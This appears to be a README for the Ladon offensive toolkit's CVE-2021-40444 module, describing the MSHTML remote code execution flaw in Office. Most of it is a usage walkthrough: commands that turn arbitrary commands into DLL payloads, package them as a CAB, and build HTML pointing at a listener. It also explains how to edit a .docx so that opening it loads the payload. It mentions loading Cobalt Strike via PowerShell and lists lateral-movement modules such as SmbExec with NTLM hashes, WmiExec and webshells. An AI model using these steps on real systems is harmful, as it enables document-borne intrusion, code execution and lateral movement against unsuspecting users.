k8gege/cve-2021-40444Exploit toolkit for CVE-2021-40444 MSHTML remote code execution, featuring DLL payload generation, Office document crafting, and lateral movement modules (SmbExec, WmiExec) for penetration testing.
On September 8th Beijing time, NSFOCUS CERT monitored that Microsoft released a security advisory disclosing the Microsoft MSHTML remote code execution vulnerability. Attackers can craft malicious ActiveX controls for use by Microsoft Office documents that host the browser rendering engine. After successfully tricking users into opening the malicious document, arbitrary code can be executed on the target system with the user's privileges. Microsoft stated in the advisory that they have detected in-the-wild exploitation of this vulnerability, and urged related users to take protective measures.
MSHTML (also known as Trident) is Microsoft's Internet Explorer browser engine, also used by Office applications to render web-hosted content in Word, Excel, or PowerPoint documents. ActiveX controls are a product of Microsoft's COM architecture, widely used in Windows Office suite and Internet Explorer. By utilizing ActiveX controls, interaction with MSHTML components is possible.
Including Windows 7/8/8.1/10, Windows Server 2008/2008R2/2012/2012R2/2016/2019/2022
Ladon 8.9 2021.9.14 [+] CVE-2021-40444 Microsoft MSHTML Remote Code Execution Vulnerability, Office document exploitation module Affected versions: Including Windows 7/8/8.1/10, Windows Server 2008/2008R2/2012/2012R2/2016/2019/2022 [+] CmdDll cmd to DLL (Windows 0-day vulnerability DLL execution command payload, can directly powershell online CobaltStrike) Overflow vulnerabilities such as MS17010, local privilege escalation CVE-2021-1675, etc., non-overflow like the latest Office vulnerability CVE-2021-40444, etc.
Ladon 8.8 2021.911 [+] SmbExec NTLM-HASH non-interactive execution without output [u] GetInfo Added Vmware virtual machine information [u] OsScan Added Vigor Router router identification [u] Added Xen\VBOX\Hybrid\Parallels virtual machine identification [+] GetInfo Added cmdkey, RrpLog, installed drivers, software list, recently accessed files, etc. [+] GetInfo Added GUID, CPUID, hard disk ID, auto-start backdoor detection (DLL persistence, registry, etc.) [+] GetInfo2 Added WMI patch information retrieval [+] Default information Added C drive free space information highlight when less than 2G
Usage:
Ladon CmdDll x86 calc
Ladon CmdDll x64 calc
Ladon CmdDll b64x86 YwBhAGwAYwA=
Ladon CmdDll b64x64 YwBhAGwAYwA=
Please generate the DLL according to the actual required CMD command. The example is to pop a calculator.
Usage:
Ladon CVE-2021-40444 MakeCab poc.dll
Ladon CVE-2021-40444 MakeHtml http://192.168.1.8
PS: This module requires Ladon40.exe
Win10 x64 Office 2019
Just grab any trial version, no need to activate. If you download an IMG, rename it to ZIP and extract to install.
Since the target is Win10 X64, we use the 64-bit DLL. Command: Ladon CVE-2021-40444 MakeCab sc64.dll
Generate html, the URL must point to the address where Ladon is listening.
The sample was sent to the private circle on September 10. Change the docx suffix to cab or zip, then edit the rels file to point to the Ladon listening address poc.html, save and rename back to .docx.
When executing the doc file on Win10, Ladon's listener can see the entire request process. The docx first accesses the html, triggers the vulnerability to load our packaged CAB file, executes install INF via CPL, loads our DLL. The DLL's function is to pop a calculator.
Load SmbExec
Usage:
Ladon SmbExec host user pass cmd whoami
Ladon SmbExec host user pass b64cmd dwBoAG8AYQBtAGkA
When executing SmbExec in Cobalt Strike's shell, if parameters containing spaces and quotes are needed, CS's escaping is problematic. Using normal CMD commands is cumbersome, so I added a b64cmd parameter for easier use under CS (this method was used in BypassUac months ago; many people didn't understand why you'd do this — why not just a direct CMD command, why go through encryption? When the CMD command you need to execute contains many escape characters, you'll understand: going through CS escaping to CMD escaping to get a normal CMD is very troublesome). The b64cmd command can be generated using Base64Unicode encryption in LadonGUI version 8.2 and later.
| ID | Module Name | Function Description | Usage |
|---|---|---|---|
| 1 | WmiExec | Execute commands on port 135 | http://k8gege.org/Ladon/WinShell.html |
| 2 | PsExec | Execute commands on port 445 | http://k8gege.org/Ladon/WinShell.html |
| 3 | AtExec | Execute commands on port 445 | http://k8gege.org/Ladon/WinShell.html |
| 4 | SshExec | Execute commands on port 22 | http://k8gege.org/Ladon/WinShell.html |
| 5 | JspShell | Execute commands via JSP one-liner | http://k8gege.org/p/ladon_cs_shell.html |
| 6 | WebShell | Execute commands via WebShell | http://k8gege.org/Ladon/webshell.html |
| 7 | WinrmExec | Execute commands on port 5895 | http://k8gege.org/Ladon/WinrmExec.html |
| 8 | SmbExec | Execute commands on port 445 using HASH | http://k8gege.org/Ladon/SmbExec.html |
PowerLadon: https://github.com/k8gege/PowerLadon History Versions: http://github.com/k8gege/Ladon/releases Version 7.0: http://k8gege.org/Download Version 8.9: K8 Private Circle